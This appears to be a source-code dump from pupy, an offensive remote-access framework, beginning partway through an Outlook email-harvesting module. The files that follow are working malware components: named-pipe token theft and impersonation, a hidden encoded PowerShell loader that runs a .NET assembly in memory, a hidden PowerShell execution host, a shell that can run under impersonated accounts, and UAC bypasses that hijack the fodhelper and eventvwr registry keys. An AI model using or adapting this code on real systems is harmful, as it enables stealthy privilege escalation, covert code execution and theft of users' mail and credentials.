        mailItem.SaveAs(path, outlook.OL_SAVE_AS_TYPE[self.msgSaveType])
        try:
            os.rename(path, path) #test if the file is not opened by another process
        except OSError as e:
            time.sleep(self.sleepTime)
        return path, filename


    def deleteTempMailFile(self,path):
        '''
        '''
        try:
            os.remove(path)
        except OSError:
            time.sleep(self.sleepTime)
            os.remove(path)

    """
    def getAllSubjects(self):
        '''
        '''
        subjects = []
        logging.debug("Getting subjects of {0} emails...".format(self.getNbOfEmails()))
        for anEmail in self.inbox.Items:
            subjects.append(anEmail.Subject)
        return subjects
    """

    def getNbOfEmails(self):
        '''
        '''
        #nc = self.inbox.Count
        nb = len(self.inbox.Items)
        logging.debug("Getting number of emails... {0} emails".format(nb))
        return nb

    def getAllFolders(self):
        '''
        '''
        folders = {}
        for inx, folder in enumerate(list(self.mapi.Folders)):
            logging.debug("New folder: {0}({1})".format(folder.Name.encode('utf-8'), folder.EntryID))
            folders[folder.Name] = {}
            if "Dossiers publics" not in folder.Name and "Public folders" not in folder.Name: #Bug in my version of outlook when getting emails in public folder
                for inx,subfolder in enumerate(list(folder.Folders)):
                    logging.debug("{0}->{1} ({2})".format(inx, subfolder.Name.encode('utf-8'), subfolder.EntryID))
                    folders[folder.Name][subfolder.Name]=subfolder.EntryID
        return folders


    def getPathToOSTFiles(self):
        '''
        According to https://support.office.com/en-us/article/Locating-the-Outlook-data-files-0996ece3-57c6-49bc-977b-0d1892e2aacc
        '''
        paths = []
        DEFAULT_LOCATIONS_OST = [
            r"<drive>:\Users\<username>\AppData\Local\Microsoft\Outlook",
            r"<drive>:\Documents and Settings\<username>\Local Settings\Application Data\Microsoft\Outlook"
        ]
        systemDrive = os.getenv("SystemDrive")
        login = os.getenv("username")
        for aLocationOST in DEFAULT_LOCATIONS_OST:
            completeLocationOST = aLocationOST.replace("<drive>",systemDrive[:-1]).replace("<username>",login)
            regex = os.path.join(completeLocationOST,"*.ost")
            logging.debug('Searching OST file in {0}'.format(regex))
            files = glob.glob(regex)
            for aFile in files:
                ostFileFound = os.path.join(completeLocationOST,aFile)
                logging.info('OST file found in {0}'.format(ostFileFound))
                paths.append([os.path.basename(aFile), ostFileFound])
        return paths


    def searchStringsInEmails(self, strings, separator=','):
        '''
        Returns emails when aString in subject or body
        '''
        emails= []
        stringsSplited = strings.split(separator)
        for aString in stringsSplited:
            results = self.searchAStringInEmails(aString)
            emails = emails + results
        return emails

    def searchAStringInEmails(self, aString):
        '''
        Returns emails when aString in subject or body
        '''

        emails = []

        logging.debug("Searching {1} over {0} emails...".format(self.getNbOfEmails(), aString))

        for anEmail in self.inbox.Items:
            outEmail = {'body':anEmail.Body, 'subject':anEmail.Subject}
            if re.search(aString, anEmail.Subject):
                emails.append(outEmail)
            elif re.search(aString, anEmail.Body):
                emails.append(outEmail)

        return emails


================================================
FILE: pupy/packages/windows/all/pipecatcher.py
================================================
# -*- encoding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

from io import open
from traceback import format_exc

from pupwinutils.security import (
    kernel32, advapi32,
)

from pupwinutils.security import (
    LPCSTR, PSECURITY_ATTRIBUTES, SECURITY_ATTRIBUTES,
    HANDLE, DWORD, BOOL, LPVOID, sizeof, addressof, byref,
    INVALID_HANDLE_VALUE, WinError, get_last_error,
    create_string_buffer, ReadFile, CloseHandle,
    EnablePrivilege, DuplicateTokenEx,
    get_thread_token, rev2self, GetTokenSid, GetUserName,
    TOKEN_ALL_ACCESS, IMPERSONATION_TOKENS
)

from pupy.agent import Task, manager

CreateNamedPipe = kernel32.CreateNamedPipeA
CreateNamedPipe.restype = HANDLE
CreateNamedPipe.argtypes = (
    LPCSTR,
    DWORD, DWORD, DWORD, DWORD,
    DWORD, DWORD, PSECURITY_ATTRIBUTES
)

ConnectNamedPipe = kernel32.ConnectNamedPipe
ConnectNamedPipe.restype = BOOL
ConnectNamedPipe.argtypes = (
    HANDLE, LPVOID
)

WaitNamedPipeA = kernel32.WaitNamedPipeA
WaitNamedPipeA.restype = BOOL
WaitNamedPipeA.argtypes = (
  LPCSTR, DWORD
)

InitializeSecurityDescriptor = advapi32.InitializeSecurityDescriptor
InitializeSecurityDescriptor.restype = BOOL
InitializeSecurityDescriptor.argtypes = (
    LPVOID, DWORD
)

SetSecurityDescriptorDacl = advapi32.SetSecurityDescriptorDacl
SetSecurityDescriptorDacl.restype = BOOL
SetSecurityDescriptorDacl.argtypes = (
    LPVOID, BOOL, LPVOID, BOOL
)

ImpersonateNamedPipeClient = advapi32.ImpersonateNamedPipeClient
ImpersonateNamedPipeClient.restype = BOOL
ImpersonateNamedPipeClient.argtypes = (
    HANDLE,
)

SECURITY_DESCRIPTOR_MIN_LENGTH = 40
SECURITY_DESCRIPTOR_REVISION = 1

NMPWAIT_USE_DEFAULT_WAIT = 0x00000000
NMPWAIT_WAIT_FOREVER = 0xffffffff

PIPE_ACCESS_DUPLEX = 0x00000003
PIPE_ACCESS_INBOUND = 0x00000001
PIPE_ACCESS_OUTBOUND = 0x00000002

FILE_FLAG_FIRST_PIPE_INSTANCE = 0x00080000
FILE_FLAG_WRITE_THROUGH = 0x80000000
FILE_FLAG_OVERLAPPED = 0x40000000

WRITE_DAC = 0x00040000
WRITE_OWNER = 0x00080000
ACCESS_SYSTEM_SECURITY = 0x01000000

PIPE_TYPE_BYTE = 0x00000000
PIPE_TYPE_MESSAGE = 0x00000004

PIPE_READMODE_BYTE = 0x00000000
PIPE_READMODE_MESSAGE = 0x00000002

PIPE_WAIT = 0x00000000
PIPE_NOWAIT = 0x00000001

PIPE_ACCEPT_REMOTE_CLIENTS = 0x00000000
PIPE_REJECT_REMOTE_CLIENTS = 0x00000008

PIPE_UNLIMITED_INSTANCES = 255

ERROR_BROKEN_PIPE = 109


class PipeCatcher(Task):
    __slots__ = (
        'tokens', 'hPipe', 'pipename', 'error'
    )

    def __init__(self, *args, **kwargs):
        name = kwargs.pop('name', 'catcher')

        super(PipeCatcher, self).__init__(*args, **kwargs)
        self.pipename = '\\\\.\\pipe\\' + name
        self.tokens = {}
        self.hPipe = INVALID_HANDLE_VALUE
        self.error = None

    def world_writable_pipe(self):
        sd = create_string_buffer(SECURITY_DESCRIPTOR_MIN_LENGTH)
        InitializeSecurityDescriptor(sd, SECURITY_DESCRIPTOR_REVISION)
        SetSecurityDescriptorDacl(sd, True, None, False)

        sa = SECURITY_ATTRIBUTES()
        sa.nLength = sizeof(sa)
        sa.lpSecurityDescriptor = addressof(sd)
        sa.bInheritHandle = False

        self.hPipe = CreateNamedPipe(
            self.pipename,
            PIPE_ACCESS_DUPLEX,
            PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,
            PIPE_UNLIMITED_INSTANCES,
            1024,
            1024,
            1000,
            sa
        )

        if self.hPipe == INVALID_HANDLE_VALUE:
            raise WinError(get_last_error())

    def stop(self):
        super(PipeCatcher, self).stop()
        if self.hPipe != INVALID_HANDLE_VALUE:
            try:
                with open(self.pipename, 'w') as pipe:
                    pipe.write('1')
            except (OSError, IOError):
                pass

            CloseHandle(self.hPipe)
            self.hPipe = INVALID_HANDLE_VALUE

    def task(self):
        EnablePrivilege('SeImpersonatePrivilege')

        while self.active:
            try:
                self.world_writable_pipe()
                username, sid = self.impersonate_token_from_pipe()
                if sid:
                    self.append((username, sid))

            except Exception:
                self.error = format_exc()
                break
            finally:
                if self.hPipe != INVALID_HANDLE_VALUE:
                    CloseHandle(self.hPipe)

    def impersonate_token_from_pipe(self):
        try:
            if not ConnectNamedPipe(self.hPipe, None):
                raise WinError(get_last_error())

            amount = 1024
            buffer = create_string_buffer(amount)
            read = DWORD()

            if not ReadFile(self.hPipe, buffer, amount, byref(read), None):
                error = get_last_error()
                if error == ERROR_BROKEN_PIPE:
                    return None, None
                else:
                    raise WinError(get_last_error())

            if not ImpersonateNamedPipeClient(self.hPipe):
                raise WinError(get_last_error())

            try:
                username = GetUserName()
                hToken = get_thread_token()

                try:
                    sid = GetTokenSid(hToken, exc=False)

                    hTokendupe = HANDLE(INVALID_HANDLE_VALUE)
                    SecurityImpersonation = 2
                    TokenImpersonation = 2

                    if not DuplicateTokenEx(
                        hToken, TOKEN_ALL_ACCESS, None, SecurityImpersonation,
                            TokenImpersonation, byref(hTokendupe)):
                        raise WinError(get_last_error())

                    self.tokens[sid] = hTokendupe

                    if sid not in IMPERSONATION_TOKENS:
                        IMPERSONATION_TOKENS[sid] = username, hTokendupe

                    return username, sid

                finally:
                    CloseHandle(hToken)

            finally:
                rev2self()

        finally:
            CloseHandle(self.hPipe)
            self.hPipe = INVALID_HANDLE_VALUE


def catcher_start(event_id=None):
    if manager.active(PipeCatcher):
        return False

    manager.create(PipeCatcher, event_id=event_id)
    return True


def catcher_dump():
    catcher = manager.get(PipeCatcher)

    if catcher:
        return catcher.results


def catcher_sync():
    catcher = manager.get(PipeCatcher)
    if catcher:
        for sid, token in catcher.tokens.items():
            if sid not in IMPERSONATION_TOKENS:
                IMPERSONATION_TOKENS[sid] = token


def catcher_stop():
    catcher_sync()
    catcher = manager.get(PipeCatcher)
    if catcher:
        manager.stop(PipeCatcher)


================================================
FILE: pupy/packages/windows/all/powerloader.py
================================================
# -*- encoding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import sys
import random
import string
import base64
import threading

from io import open
from ctypes import WinDLL, get_last_error
from ctypes.wintypes import BOOL, LPSTR, DWORD
from time import sleep

from hashlib import md5

if sys.version_info.major > 2:
    xrange = range

kernel32 = WinDLL('kernel32', use_last_error=True)

WaitNamedPipe = kernel32.WaitNamedPipeA
WaitNamedPipe.restype = BOOL
WaitNamedPipe.argtypes = (
    LPSTR, DWORD
)

PIPE_LOADER_TEMPLATE = '''
$ps=new-object System.IO.Pipes.PipeSecurity;
$all=New-Object System.Security.Principal.SecurityIdentifier("S-1-1-0");
$acl=new-object System.IO.Pipes.PipeAccessRule($all,"FullControl","Allow");
$ps.AddAccessRule($acl);
$p=new-object System.IO.Pipes.NamedPipeServerStream("{pipename}","In",2,"Byte",0,{size},0,$ps);
$p.WaitForConnection();
$x=new-object System.IO.BinaryReader($p);
$a=$x.ReadBytes({size});
$x.Close();
[Reflection.Assembly]::Load($a).GetTypes()[0].GetMethods()[0].Invoke($null,@());
'''

PIPE_LOADER_CMD_TEMPLATE = '{powershell} -w hidden -EncodedCommand {cmd}'
POWERSHELL_PATH = r'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'

def generate_loader_cmd(size):
    pipename = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in xrange(10))
    encoded = base64.b64encode(PIPE_LOADER_TEMPLATE.strip().format(
        pipename=pipename, size=size).encode('utf-16le'))
    cmd = PIPE_LOADER_CMD_TEMPLATE.format(powershell=POWERSHELL_PATH, cmd=encoded)
    return cmd, pipename

def push_payload(payload, timeout=90, log_cb=None):
    size = len(payload)
    cmd, pipename = generate_loader_cmd(size)

    def _sender():
        if log_cb:
            log_cb(None, 'Thread started (pipe={}, payload={}, md5={})'.format(
                pipename, size, md5(payload).hexdigest()))

        pipe = None
        failed = False

        try:
            pipepath = '\\\\.\\pipe\\' + pipename

            found = False
            for i in xrange(timeout):
                found = WaitNamedPipe(pipepath, 1000)
                if found:
                    break

                sleep(1)

            if not found:
                if log_cb:
                    log_cb(False, 'WaitNamedPipe - Timeout ({}, pipe={}, gle={})'.format(
                        timeout, pipepath, get_last_error()))

            pipe = open(pipepath, 'ab')
            if log_cb:
                log_cb(None, 'Open - OK')

            pipe.write(payload)

            if log_cb:
                log_cb(None, 'Push - OK')

        except Exception as e:
            if log_cb:
                log_cb(False, 'Open/Push - Fail ({})'.format(e))

            failed = True

        finally:
            try:
                if pipe:
                    pipe.close()

                    if not failed and log_cb:
                        log_cb(True, 'FLUSH - OK')

            except Exception as e:
                if not failed and log_cb:
                    log_cb(False, 'FLUSH - Fail ({})'.format(e))

    worker = threading.Thread(
        target=_sender,
        name='PowerLoader (pipe={}, timeout={})'.format(
            pipename, timeout)
    )
    worker.daemon = True
    worker.start()

    if not worker.is_alive():
        raise ValueError('PowerLoader thread is dead')

    return cmd, pipename


================================================
FILE: pupy/packages/windows/all/powershell.py
================================================
# -*- coding: utf-8 -*-

from __future__ import print_function
from __future__ import absolute_import
from __future__ import division
from __future__ import unicode_literals

import pupy.agent

import sys
import base64
import subprocess
import os
import zlib
import threading
import re
import random
import string

if sys.version_info.major > 2:
    from queue import Queue, Empty
else:
    from Queue import Queue, Empty


class PowerHostUninitialized(Exception):
    pass


class PowershellUninitialized(Exception):
    pass


class PowershellInitializationFailed(Exception):
    pass


class PowershellContextUnregistered(Exception):
    pass


class PowershellV2NotInstalled(Exception):
    pass


class PowershellTimeout(Exception):
    pass


class Request(object):
    def __init__(self, rid, storage, expression, timeout=None, continious=False):
        self._expression = expression
        self._event = threading.Event()
        self._storage = storage
        self._timeout = timeout
        self._result = '' if continious else None
        self._continious = continious
        self._archive = []
        self._rid = rid
        self._completed = False

    @property
    def rid(self):
        return self._rid

    @property
    def expression(self):
        return self._expression

    @property
    def ready(self):
        return self._event.is_set()

    @property
    def result(self):
        if not self._event.wait(timeout=self._timeout):
            raise PowershellTimeout(self._rid)

        result = self._result

        if self._rid in self._storage:
            if self._archive:
                result = ''.join([
                    zlib.decompress(x) for x in self._archive
                ]) + result
                self._archive = []

            del self._storage[self._rid]

        if self._continious:
            self._event.clear()

        return result

    @result.setter
    def result(self, value):
        if value:
            if self._continious:
                if self._rid not in self._storage:
                    self._storage[self._rid] = value
                else:
                    self._storage[self._rid] += value

                if len(self._storage[self._rid]) > 1024*1024:
                    self._archive.append(zlib.compress(self._storage[self._rid], 9))
                    self._storage[self._rid] = ''
            else:
                self._storage[self._rid] = value

            # Preserve ref
            self._result = self._storage[self._rid]

        else:
            self._completed = False

        if not self._completed:
            self._event.set()


class Powershell(threading.Thread):
    def __init__(self, host, name, content, try_x64=False, daemon=False, width=None, v2=True):
        super(Powershell, self).__init__()
        self.daemon = True

        self._try_x64 = try_x64
        self._completed = threading.Event()
        self._initialized = False
        self._pipe = None
        self._executable = u'powershell.exe'
        self._queue = None
        self._name = name
        self._host = host
        self._daemon = daemon
        self._daemon_request = None
        self._width = width or 4096
        self._rid = 0
        self._v2 = v2

        if try_x64:
            native = ur'C:\Windows\SysNative\WindowsPowershell\v1.0\powershell.exe'
            if os.path.exists(native):
                self._executable = native

        self._args = [
            self._executable, u'-W', u'hidden', u'-NoProfile', u'-NoLogo', u'-I', u'Text', u'-C', u'-'
        ]

        self._initialize(content)

    @property
    def v2(self):
        return self._v2

    def _initialize(self, content):
        if self._pipe:
            return

        if self._v2:
            args = [
                self._args[0], u'-v', u'2',
            ] + self._args[1:]
        else:
            args = self._args

        self._pipe = subprocess.Popen(
            args, bufsize=0, universal_newlines=True,
            stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE,
        )

        preamble_complete = self._random()

        request = '\n'.join([
            '[Console]::OutputEncoding = [System.Text.Encoding]::UTF8',
            '$OutputEncoding = [Console]::OutputEncoding',
            'Write-Host {}'.format(preamble_complete)
        ]) + '\n'

        self._pipe.stdin.write(request)
        self._pipe.stdin.flush()

        print("WAITING FOR ", preamble_complete)
        data = self._pipe.stdout.readline()

        if 'Version v2.0.50727 of the .NET Framework is not installed'.encode('UTF-16LE') in data:
            self.stop()
            raise PowershellV2NotInstalled()

        elif not data or preamble_complete not in data:
            print("First line: ", repr(data))
            print('.NET Framework is not installed' in data)
            self.stop()
            raise PowershellInitializationFailed()

        if not content:
            return

        self.load(content)

    def load(self, content):
        content = re.sub('Write-Host ', 'Write-Output ', content, flags=re.I)
        self._invoke_expression(content)

    def _invoke_expression(self, content, dest=None, pipe=None):
        if not self._pipe:
            raise PowershellUninitialized()

        if not content:
            return

        var = self._random()
        tmp = self._random()

        self._pipe.stdin.write('${}=""\n'.format(var))
        part = 20000
        encoded = base64.b64encode(content)

        for portion in [encoded[i:i+part] for i in range(0, len(encoded), part)]:
            self._pipe.stdin.write('${}+="{}"\n'.format(var, portion))

        request ='${tmp}=[System.Text.Encoding]::UTF8.GetString(' \
          '[System.Convert]::FromBase64String(${var}));' \
          '{dest}Invoke-Expression ${tmp}{pipe};' \
          ' Remove-Variable {var}; Remove-Variable {tmp}\n'

        if dest:
            pipe = '{}Format-Table -Property * -AutoSize | Out-String -Width {}'.format(
                '{} |'.format(pipe) if pipe else '',
                self._width
            )

        request = request.format(
            tmp=tmp, var=var,
            dest='${}='.format(dest) if dest else '',
            pipe='| {}'.format(pipe) if pipe else ''
        )

        self._pipe.stdin.write(request)
        self._pipe.stdin.flush()


    def run(self):
        request = self._queue.get()

        if self._daemon:
            self._execute(request.expression)
            while self._pipe:
                try:
                    data = self._pipe.stdout.readline()
                    request.result = data

                    if not data:
                        break

                except:
                    request.result = None
                    self.stop()
                    break

        else:
            while request:
                request.result = self._execute(request.expression)
                request = self._queue.get()


    def _random(self):
        return ''.join(
            random.choice(string.ascii_uppercase + string.digits) for _ in range(32)
        )

    def _execute(self, expression):
        if self._daemon:
            if not expression.endswith('\n'):
                expression = expression + '\n'

            self._invoke_expression(expression)
            return

        SOL = self._random()
        EOL = ' ' + self._random()
        res = self._random()

        self._invoke_expression(expression, res)
        self._pipe.stdin.write(
            'Write-Host "{SOL}${res}{EOL}"; Remove-Variable {res}\n'.format(
                SOL=SOL, res=res, EOL=EOL
            )
        )
        self._pipe.stdin.flush()

        response = ''

        while not response.endswith(EOL+'\n'):
            data = self._pipe.stdout.readline()
            if not data:
                break

            response += data.replace('\r\n', '\n')

        sol_at = response.find(SOL)
        return response[
            sol_at+len(SOL):-(len(EOL)+1)
        ].strip(), response[:sol_at]

    def execute(self, expression, nowait=False, timeout=None, wait=None):
        if self._daemon:
            nowait = True

            if self._daemon_request:
                self._execute(expression)
                return self._daemon_request

        if timeout:
            if wait is None:
                wait = not nowait

            nowait = True

        if self._queue:
            request = Request(
                self._rid,
                self._host.results[self._name],
                expression,
                timeout,
                self._daemon
            )

            if self._daemon:
                self._daemon_request = request

            self._rid += 1
            self._queue.put(request)

            if nowait and not wait:
                return request.rid
            else:
                return request.result

        elif not self._queue and nowait:
            self._queue = Queue.Queue()
            self._host.results[self._name] = {}
            self.start()
            return self.execute(expression, nowait, timeout, wait)

        else:
            return self._execute(expression)

    def stop(self):
        if self._queue:
            self._queue.put(None)

        if not self._pipe:
            return True

        try:
            self._pipe.stdin.write('exit\n')
            self._pipe.stdin.flush()
        except:
            pass

        try:
            self._pipe.terminate()
            result = self._pipe.poll() is not None
        except:
            result = None

        try:
            self._pipe.stdout.read()
        except:
            pass

        self._pipe = None
        return result

    def __del__(self):
        try:
            self.stop()
        except:
            pass


class PowerHost(object):
    def __init__(self, manager):
        self._powershells = {}
        self._manager = manager
        self._v2 = True
        self.results = {}

    @property
    def active(self):
        return bool(self._powershells)

    @property
    def dirty(self):
        return bool(self.results)

    def register(self, name, content, force=False, try_x64=False, daemon=False, width=None, v2=None):
        v2 = self._v2 if v2 is None else v2
        if name in self._powershells:
            if not force:
                raise ValueError('{} already registered'.format(name))

            self._powershells[name].stop()

        try:
            self._powershells[name] = Powershell(
                self, name, content, try_x64, daemon, width, v2
            )

        except PowershellV2NotInstalled:
            self._v2 = False
            self._powershells[name] = Powershell(
                self, name, content, try_x64, daemon, width, False
            )

    def load(self, name, content):
        if name not in self._powershells:
            raise PowershellUninitialized()

        self._powershells[name].load(content)

    def registered(self, name=None):
        if name:
            return name in self._powershells
        else:
            return tuple(self._powershells)

    def unregister(self, name):
        if name not in self._powershells:
            raise ValueError('{} is not registered'.format(name))

        self._powershells[name].stop
        del self._powershells[name]

    def function(self, name, expression):
        if name not in self._powershells:
            raise ValueError('{} is not registered'.format(name))

        return lambda: self._powershells[name].execute(
            expression
        )

    def call(self, name, expression, nowait=False, timeout=None):
        if name not in self._powershells:
            raise ValueError('{} is not registered'.format(name))

        return self._powershells[name].execute(expression, nowait, timeout)

    def stop(self):
        for name in tuple(self._powershells):
            self._powershells[name].stop()
            del self._powershells[name]

    # Compatibility

    def start(self):
        pass

    def event(self, event):
        pass

    @property
    def name(self):
        return type(self).__name__

    @property
    def stopped(self):
        return not self._powershells


def loaded(name=None):
    powershell = pupy.agent.manager.get(PowerHost)
    if not powershell:
        if not name:
            return []
        else:
            return False

    return powershell.registered(name)


def load(name, content, force=False, try_x64=False, daemon=False, width=None, v2=None):
    powershell = pupy.agent.manager.get(PowerHost) or \
      pupy.agent.manager.create(PowerHost)

    if not powershell:
        raise PowerHostUninitialized()

    if loaded(name) and not force:
        powershell.load(name, content)
    else:
        powershell.register(name, content, force, try_x64, daemon, width, v2)


def unload(name):
    powershell = pupy.agent.manager.get(PowerHost)
    if not powershell:
        raise PowerHostUninitialized()

    powershell.unregister(name)


def call(name, expression, nowait=False, timeout=None, content=None, try_x64=False):
    powershell = pupy.agent.manager.get(PowerHost) or \
      pupy.agent.manager.create(PowerHost)

    if not powershell:
        raise PowerHostUninitialized()

    if content and not loaded(name):
        load(name, content, force=True, try_x64=try_x64)

    try:
        result = powershell.call(name, expression, nowait, timeout)
        if nowait:
            return result.rid
        else:
            return result

    finally:
        if content:
            unload(name)


def result(name, rid):
    rid = int(rid)

    powershell = pupy.agent.manager.get(PowerHost)
    if not powershell:
        raise PowerHostUninitialized()

    if not loaded(name):
        PowershellContextUnregistered()

    results = powershell.results
    if name not in results or rid not in results[name]:
        return None

    result = results[name][rid]
    del results[name][rid]

    return result


def get_results():
    powershell = pupy.agent.manager.get(PowerHost)
    if not powershell:
        raise PowerHostUninitialized()

    return {
        ctx: tuple(results)
        for ctx, results in powershell.results.items()
    }


@property
def results():
    return get_results()


def stop():
    pupy.agent.manager.stop(PowerHost)


================================================
FILE: pupy/packages/windows/all/ptyshell.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
__all__ = ['acquire', 'release']

try:
    from conpty import ConPTY as PTY
except ImportError:
    from winpty import WinPTY as PTY

from collections import deque
from pupy.agent import manager, Task
from pupy.network.lib.pupyrpc import nowait

from pupwinutils.security import (
    sidbyname, getSidToken, get_thread_token,
    token_impersonated_as_system, EnablePrivilege,
    CloseHandle
)


class PtyShell(Task):
    __slots__ = (
        'pty', 'argv', 'term', 'htoken',
        'read_cb', 'close_cb', '_buffer'
    )

    def __init__(self, manager, argv=None, term=None, htoken=None):
        super(PtyShell, self).__init__(manager)

        self.pty = None

        self.argv = argv
        self.term = term
        self.htoken = htoken

        self.read_cb = None
        self.close_cb = None

        self._buffer = deque(maxlen=50)

    def write(self, data):
        if not self.pty:
            return

        self.pty.write(data)

    def set_pty_size(self, ws_row, ws_col, ws_xpixel, ws_ypixel):
        if not self.pty:
            return

        self.pty.resize(ws_col, ws_row)

    def attach(self, read_cb, close_cb):
        if self.active:
            self.read_cb = nowait(read_cb)
            self.close_cb = nowait(close_cb)

            if self._buffer:
                for item in self._buffer:
                    self.read_cb(item)
        else:
            close_cb()

    def detach(self):
        self.read_cb = None
        self.close_cb = None

    def task(self):

        argv = self.argv
        if not argv:
            argv = r'C:\windows\system32\cmd.exe'

        try:
            self.pty = PTY(
                argv, htoken=self.htoken)

            self.pty.read_loop(self._on_read_data)

        finally:
            try:
                self.stop()
            except:
                pass

            try:
                if self.close_cb:
                    self.close_cb()
            except:
                pass

    def _on_read_data(self, data):
        self._buffer.append(data)

        if self.read_cb:
            self.read_cb(data)

    def stop(self):
        try:
            super(PtyShell, self).stop()
        finally:
            self.close()

    def close(self):
        if not self.pty:
            return

        self.pty.close()
        self.pty = None


def acquire(argv=None, term=None, suid=None):
    shell = manager.get(PtyShell)

    new = False
    if not (shell and shell.active):
        htoken = None
        hCurrentToken = None

        if suid:
            sid = None
            if suid.startswith('S-1-'):
                sid = suid
            else:
                sid = sidbyname(suid)

                if not sid:
                    raise ValueError(
                        'Unknown username {}'.format(
                            suid.encode('utf-8')))

            hSidToken = getSidToken(sid)
            if hSidToken is None:
                raise ValueError("Couldn't impersonate sid {}".format(sid))

            hCurrentToken = get_thread_token()
            if not token_impersonated_as_system(hCurrentToken):
                try:
                    EnablePrivilege('SeImpersonatePrivilege')
                except ValueError:
                    raise ValueError('Impersonate control thread as SYSTEM first')

            htoken = (hCurrentToken, hSidToken)

        try:
            shell = manager.create(
                PtyShell,
                argv, term, htoken)
        finally:
            if hCurrentToken:
                CloseHandle(hCurrentToken)

        new = True

    return new, shell

def release():
    manager.stop(PtyShell)


================================================
FILE: pupy/packages/windows/all/pupwinutils/__init__.py
================================================


================================================
FILE: pupy/packages/windows/all/pupwinutils/bypassuac_registry.py
================================================
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from _winreg import (
    ConnectRegistry, OpenKey, CreateKey, SetValueEx,
    DeleteKey, CloseKey,
    HKEY_CURRENT_USER, KEY_SET_VALUE, KEY_WRITE,
    REG_SZ
)

import subprocess
import ctypes
import time
import os

def registry_hijacking_fodhelper(cmd, params=""):

    HKCU            = ConnectRegistry(None, HKEY_CURRENT_USER)
    fodhelperPath   = r'Software\Classes\ms-settings\Shell\Open\command'

    if params:
        cmd = '%s %s'.strip() % (cmd, params)

    try:
        # The registry key already exist in HKCU, altering...
        OpenKey(HKCU, fodhelperPath, KEY_SET_VALUE)
    except:
        # Adding the registry key in HKCU
        CreateKey(HKCU, fodhelperPath)

    registry_key = OpenKey(HKCU, fodhelperPath, 0, KEY_WRITE)
    SetValueEx(registry_key, 'DelegateExecute', 0, REG_SZ, "")
    SetValueEx(registry_key, '', 0, REG_SZ, cmd)
    CloseKey(registry_key)

    # Creation fodhelper.exe path
    triggerPath = os.path.join(os.environ['WINDIR'],'System32','fodhelper.exe')
    # Disables file system redirection for the calling thread (File system redirection is enabled by default)
    wow64 = ctypes.c_long(0)
    ctypes.windll.kernel32.Wow64DisableWow64FsRedirection(ctypes.byref(wow64))
    # Executing fodhelper.exe
    subprocess.check_output(triggerPath, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell=True)
    # Enable file system redirection for the calling thread
    ctypes.windll.kernel32.Wow64EnableWow64FsRedirection(wow64)

    # Sleeping 5 secds...
    time.sleep(5)

    # Clean everything
    DeleteKey(HKCU, fodhelperPath)


def registry_hijacking_eventvwr(cmd, params=""):
    #   '''
    #   Based on Invoke-EventVwrBypass, thanks to enigma0x3 (https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/)
    #   '''
    HKCU = ConnectRegistry(None, HKEY_CURRENT_USER)
    mscCmdPath = r'Software\Classes\mscfile\shell\open\command'

    if params:
        cmd = '%s %s'.strip() % (cmd, params)

    try:
        # The registry key already exist in HKCU, altering...
        registry_key = OpenKey(HKCU, mscCmdPath, KEY_SET_VALUE)
    except:
        # Adding the registry key in HKCU
        registry_key = CreateKey(HKCU, mscCmdPath)

    SetValueEx(registry_key, '', 0, REG_SZ, cmd)
    CloseKey(registry_key)

    # Executing eventvwr.exe
    eventvwrPath = os.path.join(os.environ['WINDIR'],'System32','eventvwr.exe')
    subprocess.check_output(eventvwrPath, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell=True)

    # Sleeping 5 secds...
    time.sleep(5)

    #Clean everything
    DeleteKey(HKCU, mscCmdPath)


================================================
FILE: pupy/packages/windows/all/pupwinutils/bypassuac_token_imp.py
================================================
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

# Code inspired from the C code of the UACME projet

# Author: CIA & James Forshaw
# Method: Token Manipulations
# Works from: Windows 7 (7600)
# Fixed in: unfixed

from ctypes import (
    c_void_p, c_wchar_p, Structure, POINTER, c_ulong, c_int, c_char_p,
    c_byte, windll, sizeof, addressof, byref, WinError
)
from ctypes.wintypes import (
    HANDLE, BOOL, DWORD, HWND,
    HINSTANCE, HKEY, ULONG, USHORT, LPSTR, WORD
)
from random import randint
import os

# one of these auto elevated process will be used randomly
AUTOELEVATED_EXE                = [
    # 'C:\\Windows\\System32\\Sysprep\\sysprep.exe',    # check with win10
    # 'C:\\Windows\\System32\\winsat.exe',              # check with win10
    'C:\\Windows\\System32\\wusa.exe',
    # 'C:\\Windows\\System32\\oobe\\setupsqm.exe',
    # 'C:\\Windows\\System32\\migwiz\\migwiz.exe',      # check with win10
    # 'C:\\Windows\\System32\\cliconfg.exe'
]

LPVOID                          = c_void_p
PVOID                           = LPVOID
PSID                            = PVOID
LPCWSTR                         = c_wchar_p
LPWSTR                          = c_wchar_p
PWSTR                           = c_wchar_p

TokenImpersonation              = 2
ThreadImpersonationToken        = 5
SecurityImpersonation           = 2
TokenPrimary                    = 1
TokenIntegrityLevel             = 25

SW_SHOW                         = 5
SW_HIDE                         = 0
STARTF_USESHOWWINDOW            = 0x00000001
SEE_MASK_NOCLOSEPROCESS         = 0x00000040
STATUS_SUCCESS                  = 0x00000000

INVALID_HANDLE_VALUE            = c_void_p(-1).value
SECURITY_MANDATORY_MEDIUM_RID   = 0x00002000
SE_GROUP_INTEGRITY              = 0x00000020
LUA_TOKEN                       = 0x4
LOGON_NETCREDENTIALS_ONLY       = 0x00000002

MAXIMUM_ALLOWED                 = 0x02000000
READ_CONTROL                    = 0x00020000
STANDARD_RIGHTS_READ            = READ_CONTROL
STANDARD_RIGHTS_REQUIRED        = 0x000F0000
TOKEN_ASSIGN_PRIMARY            = 0x0001
TOKEN_DUPLICATE                 = 0x0002
TOKEN_IMPERSONATE               = 0x0004
TOKEN_QUERY                     = 0x0008
TOKEN_QUERY_SOURCE              = 0x0010
TOKEN_ADJUST_PRIVILEGES         = 0x0020
